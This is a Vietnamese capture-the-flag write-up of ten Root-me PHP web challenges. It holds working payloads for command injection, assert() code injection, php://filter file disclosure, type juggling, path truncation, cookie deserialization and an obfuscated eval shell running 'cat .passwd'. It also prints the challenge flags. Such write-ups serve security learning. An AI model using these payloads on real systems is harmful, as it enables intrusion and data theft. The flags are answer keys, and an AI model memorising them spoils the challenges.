# Root-me Challenge - Web-server Write-up: PHP
## 1. PHP - command injection

- Bài này bắt đầu bằng giao diện này và có nói là "You must manage to read index.php".
- Đầu tiên tôi thử thêm index.php vào cuối url nhưng mà không có gì, tất nhiên là đâu có đơn giản đến thế.
- Submit thử 127.0.0.1 như trong form kia xem nó ra gì nhé.

- Vậy thì có thể dễ dàng thấy source code sẽ có sẵn lệnh PING, và khi ta nhập địa chỉ vào thì nó sẽ thực hiện ping đến địa chỉ đó.
- Làm đến đây, ta check burpsuite thì cũng không thấy có gì cả. Vậy thì chỗ duy nhất ta có thể inject là cái form này.
- Trong linux, ta có thể dùng kết hợp 2 command và ngăn cách nó bằng dấu ";". Vậy thì thử làm thế trong bài này xem nhé.
- Đầu tiên là submit lệnh "127.0.0.1; ls -la".

- Đó, ra một loạt thông tin hữu ích đây rồi. Nhập "127.0.0.1; cat .index.php" để đọc file index.php xem.

- Ờm, nó chính là cái form đấy luôn, không có gì cả. Vậy thì check thử trong burp suite nhé.

- Đây rồi! Flag ghi là đọc file .passwd

:::success
Flag: S3rv1ceP1n9Sup3rS3cure
:::
## 2. PHP - assert()
- Trước tiên thì tìm hiểu xem hàm assert() là gì nhé: https://www.php.net/manual/en/function.assert.php

- Nó cho một cái giao diện như vầy. Khi ta chuyển sang home, about hoặc contact thì param page cũng sẽ thay đổi tương ứng. Vậy là có chỗ inject rồi. Nhập thử `?page='` xem nhé.

- Vậy là chương trình có thể bị lỗi ở 2 hàm strpos và assert. Nhập thử `?page=abc` xem có gì không nhé.

- Vậy thì có thể hàm assert được viết như này
```php
assert(strpos('include/$filename.php','..')===false)
```
trong đó `$filename` là thứ ta nhập vào sau `?page=`
- Vậy thì thử command injection nhé.
:::info
http://challenge01.root-me.org/webserveur/ch47/page=contact.php') or system("ls -a");//
:::
- Ở link trên, ta nhập `contact.php` để cái `$filename` nó nhận giá trị đúng là có file đó, sau đó đóng hàm `strpos` lại, rồi thêm lệnh `system` để list các thư mục ra, sau đó `//` để comment các lệnh đằng sau lại. Đây là kết quả:

- Một loạt các folder và file hiện ra rồi. Giờ chỉ cần đọc file `.passwd` thôi.

:::success
Flag: x4Ss3rT1nglSn0ts4f3A7A1Lx
:::
## 3. PHP - Filters
- Trước tiên hãy tìm hiểu về `php://filter`: https://www.php.net/manual/en/wrappers.php.php

- Nó cho 1 form như này yêu cầu đăng nhập, nhưng check burpsuite cũng không có gì cả. Ở trang `home` cũng không có gì cả.
- Đề bài là php://filter, nên chắc phải đi tìm hiểu cách inject thôi chứ không là cũng đang định sqli ở đây đấy.
- Sau khi bôn ba qua rất nhiều trang web thì tôi tìm thấy một cái gì đó ở đây: [LFI - RFI payload](https://github.com/payloadbox/rfi-lfi-payload-list?tab=readme-ov-file#lfi--rfi-wrappers-)
- Oke vậy thì thử payload này nhé: `http://challenge01.root-me.org/web-serveur/ch12/?inc=php://filter/convert.base64-encode/resource=login.php`
- Payload này sẽ cho phép ta đọc file `login.php` ở dạng base64. Xem kết quả:

- Decode cái đống base64 kia ra nhé.
```php
<?php
include("config.php");
if ( isset($_POST["username"]) && isset($_POST["password"]) ){
if ($_POST["username"]==$username && $_POST["password"]==$password){
print("<h2>Welcome back !</h2>");
print("To validate the challenge use this password<br/><br/>");
} else {
print("<h3>Error : no such user/password</h2><br />");
}
} else {
?>
<form action="" method="post">
Login <br/>
<input type="text" name="username" /><br/><br/>
Password <br/>
<input type="password" name="password" /><br/><br/>
<br/><br/>
<input type="submit" value="connect" /><br/><br/>
</form>
<?php } ?>
```
- Thứ quý giá nhất trong đống tùm lum kia là `include("config.php")`. Đọc file này ra.

- Decode:
```php
<?php
$username="admin";
$password="DAPt9D2mky0APAF";
```
- Đăng nhập bằng tài khoản và mật khẩu này, sau đó flag chính là mật khẩu.
:::success
Flag: DAPt9D2mky0APAF
:::
## 4. PHP - register globals
- Bài này nghịch một lúc, check burpsuite các thứ rồi nhưng không có gì cả. Sau đó đọc lại cái statement:

- Chữ backup files to đùng kia nên khả năng phải dirsearch rồi. Thử xem.

- Thấy có 2 cái status 200, vào lần lượt từng cái xem có gì không.

- Config không có gì cả.
- Sau khi nhập url `http://challenge01.root-me.org/web-serveur/ch17/index.php.bak` thì ta sẽ nhận được 1 file code. Đọc hiểu code đó thì không có gì đáng giá ngoại trừ dòng này:

- Tức là nếu không tồn tại session thì biến `logged` gán bằng 0. Vậy ta thử gán nó bằng 1 xem.
- Check burp suite tôi không thấy nó có chỗ nào xuất hiện biến `logged` trong gói tin để tôi thay đổi cả. Vậy nên tôi coi nó như 1 param và tôi inject trên url như này:

:::success
Flag: NoTQYipcRKkgrqG
:::
## 5. PHP - preg_replace()
- Khái niệm preg_replace(): https://xuanthulab.net/ham-preg-replace-trong-php.html
- Tài liệu liên quan: https://www.madirish.net/402
- Nếu cho thêm `/e` vào sau regex thì hàm sẽ thực thi `$subject` được truyền vào. Còn nếu không có thì nó chỉ là chuỗi bình thường.
- Vậy thì việc của ta sẽ là cho thêm `/e` vào sau regex. Thử với payload như hình và được kết quả trong hình.

- Tiếp tục đọc file `.passwd` ta được như hình.

:::success
Flag: pr3g_r3pl4c3_3_m0d1f13r_styl3
:::
## 6. PHP - Loose Comparison
- Tài liệu liên quan (phần định nghĩa và phần bug #3): https://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20PHP%20loose%20comparison%20-%20Type%20Juggling%20-%20OWASP.pdf
- Hàm hash_hmac trong php: https://www.php.net/manual/en/function.hash-hmac.php
- Tóm lại bài này khai thác vào lỗ hổng so sánh == của php.

- Đọc source code thì nó sẽ nối chuỗi `$s` (được mã hóa từ cái seed mà mình nhập vào bằng cách thay thế regex) với chuỗi random `$r`, sau đó so sánh với `$h` (được mã hóa từ cái hash mà mình nhập vào bằng thuật toán md5). Nếu bằng nhau thì sẽ cho flag
- Đọc xong tài liệu thì tức là mình sẽ khai thác lỗi == trả về true đối với lỗi php coi `0e...` bằng 0. Tức là ô seed sẽ là `0e`, và ô hash sẽ là 1 chuỗi gì đó mà sau khi mã hóa bằng md5 thì nó ra dãy bắt đầu bằng `0e`.
- Cái khó là sẽ phải gen ra một chuỗi để khi md5 nó thì nó sẽ ra dạng `0e…`. Ngồi mày mò bôn ba một lúc thì ode dưới đây để gen:
```python
import hashlib
import re
for i in range(0,999999999):
md5 = hashlib.md5(str(i).encode('utf-8')).hexdigest()
regex = re.match("^[0-9]+$",md5[3:])
if ((md5[0:2]) == '0e' and regex):
print(str(i)+"=>"md5)
break
else:
print("wrong")
```
- Nó gen ra dãy 240610708. Oke giờ nhập seed là `0e` và hash là `240610708` nhé

:::success
Flag: F34R_Th3_L0o5e_C0mP4r15On
:::
## 7. PHP - Type juggling
- Tài liệu liên quan (phần Bonus bug): [PHP Loose comparison - Type juggling](https://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20PHP%20loose%20comparison%20-%20Type%20Juggling%20-%20OWASP.pdf?_gl=1*2agyex*_ga*MTQ4MjI0OTM1LjE3MTc1NzMyMDc.*_ga_SRYSKX09J7*MTcyMjk5ODYzMy4zMC4xLjE3MjI5OTg2NzYuMC4wLjA)
- Tài liệu liên quan (phần so sánh chuỗi với số 0): https://viblo.asia/p/php-type-juggling-924lJPYWKPM
- Đọc tài liệu là hiểu luôn rồi. Bài này khai thác lỗi ở hàm strcmp. Cụ thể hơn thì nếu ta so sánh 1 chuỗi với 1 mảng thì nó sẽ trả về 0 và bypass
- Đọc source code thì thấy bài này sẽ so sánh login với `$user` và password với `$password_sha256`.
- Bắt gói tin đăng nhập:

- Vậy là dữ liệu gửi đi được viết dưới dạng JSON. Decode nó ra thử

- Giờ ta sẽ sửa 2 cái payload login và password. Đầu tiên là login. PHP sẽ trả về true nếu ta so sánh một chuỗi với số 0. Vậy thì chỗ login là số 0 (chứ không phải là "0" - đây là chuỗi rồi). Còn ở password sẽ là một mảng bất kỳ như đã nói ở trên. Nó sẽ như này:

- Lấy cái URL Encoding kia đi submit là được flag

:::success
Flag: DontForgetPHPL00seComp4r1s0n
:::
## 8. PHP - Path Truncation
- Kiến thức: [PHP - Path truncation](https://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20PHP%20path%20truncation.html?_gl=1*1aam6id*_ga*MTQ4MjI0OTM1LjE3MTc1NzMyMDc.*_ga_SRYSKX09J7*MTcyMzA4MTIwNS4zMy4xLjE3MjMwODE0MTkuMC4wLjA)
- Tóm lại là ta phải sử dụng kỹ thuật cắt bớt đường dẫn để bỏ qua phần nối mở rộng tệp. Phần VI có nói là payload phải bắt đầu bằng một thư mục không tồn tại. Phần VII có cho một vài ví dụ về các payload có thể bypass. Vậy thì bài này ta sẽ thử với payload là `?page=a/../admin.html` và chuỗi các ký tự `/.` ở đằng sau.
- Code C++ để tạo ra một đống `/.` như này:

- Sau đó nhét nó vào url:

:::success
Flag: 110V3TrUnC4T10n
:::
## 9. PHP - Serialization
- Tài liệu: https://www.php.net/manual/en/function.unserialize.php
- Tài liệu: https://stringee.com/vi/blog/post/ham-serialize-va-unserialize-trong-PHP
- Khi đăng nhập và chọn autologin thì nó cho một dãy như này:

- Sau khi urldecode và unserialize nó ra thì nó được như này:

- login thì có thể sửa được thành admin/administrator/superadmin đều được. Nhưng đối với password thì ta phải lợi dụng loose comparison ở chỗ này:

- Code:
```php
<?php
$newstr = 'a:2:{s:5:"login";s:10:"superadmin";s:8:"password";b:1;}';
$newurldata=strtolower(urlencode($newstr));
print_r($newurldata);
?>
```

- Sau đó mang đi gửi kèm với một PHPSESSID mới:

:::success
Flag: NoUserInputInPHPSerialization!
:::
## 10. PHP - Eval
- Tài liệu: https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/
- Vậy là ta sẽ tạo ra shell bằng ký tự. Payload đây, nó là `system("cat .passwd")` nhé.
```php
<?php
$_=[];
$_=@"$_";
$_=$_['!'=='@'];
$___=$_;
$__ = $_;
++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;
$___=$__;
$__=$_;
++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;
$___.=$__;
$__=$_;
++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;
$___.=$__;
$__ = $_;
++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;
$___.=$__;
$__=$_;
++$__;++$__;++$__;++$__;
$___.=$__;
$__=$_;
++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;
$___.=$__;
$__=$_;
$_____ = '';
$__=$_;
++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;
$_____.=$__;
$__=$_;
++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;
$_____.=$__;
$__=$_;
++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;
$_____.=$__;
$__=$_;
++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;
$_____.=$__;
$__=$_;
++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;
$_____.=$__;
$__=$_;
++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;
$_____.=$__;
$__=$_;
++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;
$_____.=$__;
$__=$_;
++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;
$_____.=$__;
$__=$_;
++$__;++$__;++$__;++$__;
$_____.=$__;
$__=$_;
++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;
$_____.=$__;
$__=$_;
$____='';
++$__;++$__;
$____.=$__;
$__=$_;
$____.=$__;
$__=$_;
++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;
$____.=$__;
$__=$_;
$______='.';
++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;
$______.=$__;
$__=$_;
$______.=$__;
$__=$_;
++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;
$______.=$__;
$______.=$__;
$__=$_;
++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;
$______.=$__;
$__=$_;
++$__;++$__;++$__;
$______.=$__;
$__=$_;
$__________ = $____." ".$______ ;
$___($_____($__________ ))
?>
```

:::success
Flag: M!xIng_PHP_w1th_3v4l_L0L
:::